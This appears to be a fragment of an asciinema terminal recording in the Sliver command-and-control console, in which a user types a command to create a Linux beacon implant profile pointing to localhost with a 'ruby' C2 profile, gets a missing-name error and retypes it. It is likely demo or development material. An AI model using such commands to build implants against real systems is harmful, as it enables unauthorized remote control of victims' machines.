[24.245191, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.253415, "o", "\u001b[6n"]
|
||||
[24.283722, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[24.285435, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[69D\u001b[9C\u001b[214D\u001b[69C\u001b[?25h"]
|
||||
[24.373216, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.373665, "o", "\u001b[6n"]
|
||||
[24.381376, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.384282, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[70D\u001b[9C\u001b[214D\u001b[70C\u001b[?25h"]
|
||||
[24.547481, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.55465, "o", "\u001b[6n"]
|
||||
[24.573528, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--d\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.573764, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[71D\u001b[9C\u001b[214D\u001b[71C\u001b[?25h"]
|
||||
[24.612342, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.615739, "o", "\u001b[6n"]
|
||||
[24.620298, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--de\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.621017, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[72D\u001b[9C\u001b[214D\u001b[72C\u001b[?25h"]
|
||||
[24.692276, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.697214, "o", "\u001b[6n"]
|
||||
[24.701743, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--deb\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.702391, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[73D\u001b[9C\u001b[214D\u001b[73C\u001b[?25h"]
|
||||
[24.732726, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.735639, "o", "\u001b[6n"]
|
||||
[24.739556, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debu\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.740285, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[74D\u001b[9C\u001b[214D\u001b[74C\u001b[?25h"]
|
||||
[24.931458, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[24.9338, "o", "\u001b[6n"]
|
||||
[24.94215, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.942744, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[75D\u001b[9C\u001b[214D\u001b[75C\u001b[?25h"]
|
||||
[25.041803, "o", "\u001b[?25l"]
|
||||
[25.042296, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[25.045083, "o", "\u001b[6n"]
|
||||
[25.048784, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[25.049191, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[76D\u001b[9C\u001b[214D\u001b[76C\u001b[?25h"]
|
||||
[25.425308, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[25.427535, "o", "\u001b[6n"]
|
||||
[25.436812, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m-\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[25.438559, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[77D\u001b[9C\u001b[214D\u001b[77C\u001b[?25h"]
|
||||
[25.542351, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[25.549237, "o", "\u001b[6n"]
|
||||
[25.577048, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[25.579289, "o", "\u001b[214D\u001b[1A\u001b[78D\u001b[9C\u001b[214D\u001b[78C\u001b[?25h"]
|
||||
[25.679219, "o", "\u001b[?25l"]
|
||||
[25.689165, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[25.695019, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D"]
|
||||
[25.695209, "o", "\u001b[1A\u001b[79D\u001b[9C\u001b[214D\u001b[79C\u001b[?25h"]
|
||||
[25.881054, "o", "\u001b[?25l"]
|
||||
[25.881692, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[25.896356, "o", "\u001b[6n"]
|
||||
[25.915081, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[80D"]
|
||||
[25.918243, "o", "\u001b[9C\u001b[214D\u001b[80C\u001b[?25h"]
|
||||
[26.333571, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[26.345116, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2p\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.345455, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[81D\u001b[9C\u001b[214D\u001b[81C\u001b[?25h"]
|
||||
[26.384697, "o", "\u001b[?25l"]
|
||||
[26.386022, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[26.390181, "o", "\u001b[6n"]
|
||||
[26.407139, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2pr\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[26.407269, "o", "\u001b[0J\u001b[214D\u001b[1A\u001b[82D\u001b[9C\u001b[214D\u001b[82C\u001b[?25h"]
|
||||
[26.483373, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[26.488059, "o", "\u001b[6n"]
|
||||
[26.492825, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2pro\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.494066, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[83D\u001b[9C\u001b[214D\u001b[83C\u001b[?25h"]
|
||||
[26.61852, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[26.623731, "o", "\u001b[6n"]
|
||||
[26.643919, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2prof\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.644161, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[84D\u001b[9C\u001b[214D\u001b[84C\u001b[?25h"]
|
||||
[26.720473, "o", "\u001b[?25l\u001b[214D"]
|
||||
[26.721567, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[26.724414, "o", "\u001b[6n"]
|
||||
[26.73915, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profi\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.739685, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[85D\u001b[9C\u001b[214D\u001b[85C\u001b[?25h"]
|
||||
[26.758393, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[26.761004, "o", "\u001b[6n"]
|
||||
[26.769776, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profil\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.770802, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[86D\u001b[9C\u001b[214D\u001b[86C\u001b[?25h"]
|
||||
[26.825606, "o", "\u001b[?25l"]
|
||||
[26.826193, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[26.829997, "o", "\u001b[6n"]
|
||||
[26.833447, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[26.834219, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[87D\u001b[9C\u001b[214D\u001b[87C\u001b[?25h"]
|
||||
[27.027304, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[27.039152, "o", "\u001b[6n"]
|
||||
[27.047505, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[27.049349, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[88D\u001b[9C\u001b[214D\u001b[88C\u001b[?25h"]
|
||||
[28.392184, "o", "\u001b[?25l"]
|
||||
[28.392807, "o", "\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[28.403187, "o", "\u001b[6n"]
|
||||
[28.428983, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mr\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.431242, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[89D\u001b[9C\u001b[214D\u001b[89C\u001b[?25h"]
|
||||
[28.491078, "o", "\u001b[?25l\u001b[214D"]
|
||||
[28.491447, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[28.496095, "o", "\u001b[6n"]
|
||||
[28.501568, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mru\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.502265, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[90D\u001b[9C\u001b[214D\u001b[90C\u001b[?25h"]
|
||||
[28.596319, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[28.607497, "o", "\u001b[6n"]
|
||||
[28.632751, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mrub\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.633153, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[91D\u001b[9C\u001b[214D\u001b[91C\u001b[?25h"]
|
||||
[28.737182, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[28.739762, "o", "\u001b[6n"]
|
||||
[28.745354, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.745513, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[92D\u001b[9C\u001b[214D\u001b[92C\u001b[?25h"]
|
||||
[28.886316, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[28.893976, "o", "\u001b[6n"]
|
||||
[28.92261, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[28.924462, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[93D\u001b[9C\u001b[214D\u001b[93C\u001b[?25h"]
|
||||
[30.669009, "o", "\u001b[93D\u001b[9C"]
|
||||
[30.679951, "o", "\u001b[6n"]
|
||||
[30.709595, "o", "\u001b[214D\u001b[93C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[30.71144, "o", "\u001b[0 q\r\n"]
|
||||
[30.728861, "o", "\r\u001b[2K\u001b[1m\u001b[31m[!] \u001b[0mNo profile name specified\r\n\r\n"]
|
||||
[30.737951, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[1 q"]
|
||||
[30.738898, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[30.742844, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[9D\u001b[9C"]
|
||||
[30.743885, "o", "\u001b[214D\u001b[9C\u001b[?25h"]
|
||||
[32.35367, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
[32.372076, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[92D"]
|
||||
[32.37311, "o", "\u001b[9C\u001b[214D\u001b[92C\u001b[?25h"]
|
||||
[33.041767, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[33.053883, "o", "\u001b[6n"]
|
||||
[33.063284, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby \u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[33.063865, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[93D\u001b[9C\u001b[214D\u001b[93C\u001b[?25h"]
|
||||
[34.975713, "o", "\u001b[?25l\u001b[214D"]
|
||||
[34.981131, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[34.986542, "o", "\u001b[6n"]
|
||||
[35.022475, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby r\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.023477, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[94D\u001b[9C\u001b[214D\u001b[94C\u001b[?25h"]
|
||||
[35.02377, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[35.026537, "o", "\u001b[6n"]
|
||||
[35.035865, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby ru\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.03659, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[95D\u001b[9C\u001b[214D\u001b[95C\u001b[?25h"]
|
||||
[35.082495, "o", "\u001b[?25l\u001b[214D"]
|
||||
[35.08304, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[35.085452, "o", "\u001b[6n"]
|
||||
[35.088682, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rub\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[35.089022, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[96D\u001b[9C\u001b[214D\u001b[96C\u001b[?25h"]
|
||||
[35.215667, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[35.225629, "o", "\u001b[6n"]
|
||||
[35.244071, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby ruby\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[97D\u001b[9C\u001b[214D\u001b[97C\u001b[?25h"]
|
||||
[36.695789, "o", "\u001b[?25l\u001b[214D"]
|
||||
[36.697237, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[36.700548, "o", "\u001b[6n"]
|
||||
[36.721566, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[36.722071, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[98D\u001b[9C\u001b[214D\u001b[98C\u001b[?25h"]
|
||||
[36.901814, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[36.907794, "o", "\u001b[6n"]
|
||||
[36.934148, "o", "\u001b[1m\u001b[32mprofiles \u001b[39m\u001b[22mnew beacon \u001b[1m\u001b[38;05;244m-b \u001b[39m\u001b[22mlocalhost \u001b[1m\u001b[38;05;244m--os \u001b[39m\u001b[22mlinux \u001b[1m\u001b[38;05;244m--skip-symbols \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--debug \u001b[39m\u001b[22m\u001b[1m\u001b[38;05;244m--c2profile \u001b[39m\u001b[22mruby rubyc2\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[36.93475, "o", "\u001b[0K\u001b[0J\u001b[214D\u001b[1A\u001b[99D\u001b[9C\u001b[214D\u001b[99C\u001b[?25h"]
|
||||
[37.097056, "o", "\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[37.103611, "o", "\u001b[6n"]
|
||||
